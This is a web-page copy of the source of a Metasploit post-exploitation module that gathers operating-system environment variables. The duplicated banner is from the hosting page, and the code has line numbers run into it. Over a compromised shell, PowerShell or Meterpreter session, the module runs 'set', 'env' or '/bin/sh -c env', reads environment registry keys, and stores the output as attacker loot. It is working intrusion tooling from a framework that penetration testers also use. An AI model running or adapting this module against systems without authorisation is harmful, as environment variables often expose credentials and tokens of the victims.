Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/env.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Multi Gather Generic Operating System Environment Settings',13'Description' => %q{ This module prints out the operating system environment variables. },14'License' => MSF_LICENSE,15'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>', 'egypt' ],16'Platform' => %w[linux win unix],17'SessionTypes' => %w[powershell shell meterpreter],18'Notes' => {19'Stability' => [CRASH_SAFE],20'Reliability' => [],21'SideEffects' => []22},23'Compat' => {24'Meterpreter' => {25'Commands' => %w[26stdapi_sys_config_getenv27stdapi_sys_process_execute28]29}30}31)32)33end3435def run36hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']37print_status("Running module against #{hostname} (#{session.session_host})")3839output = case session.type40when 'shell'41get_env_shell42when 'powershell'43get_env_powershell44when 'meterpreter'45get_env_meterpreter46end4748fail_with(Failure::Unknown, 'Could not retrieve environment variables') if output.blank?4950if session.platform == 'windows'51ltype = 'windows.environment'52else53ltype = 'unix.environment'54end5556print_line(output)57path = store_loot(ltype, 'text/plain', session, output)58print_good("Results saved to #{path}")59end6061def get_env_shell62cmd = session.platform == 'windows' ? 'set' : 'env'63cmd_exec(cmd)64end6566def get_env_powershell67res = cmd_exec('Get-ChildItem Env: | ConvertTo-Csv')6869output = []70csv = CSV.parse(res, skip_lines: /^#/, headers: true)71csv.each do |row|72output << "#{row['Key']}=#{row['Value']}"73end7475return output.join("\n")76end7778def get_env_meterpreter79case session.platform80when 'windows'81var_names = []82var_names << registry_enumvals('HKEY_CURRENT_USER\\Volatile Environment')83var_names << registry_enumvals('HKEY_CURRENT_USER\\Environment')84var_names << registry_enumvals('HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment')85var_names.delete(nil)8687output = []88session.sys.config.getenvs(*var_names.flatten.uniq.sort).each do |k, v|89output << "#{k}=#{v}"90end91return output.join("\n")92else93# Don't know what it is, hope it's unix94print_status("Executing 'env' on #{sysinfo['OS']}")95chan = session.sys.process.execute('/bin/sh', '-c env', { 'Channelized' => true })96return chan.read97end98end99end100101102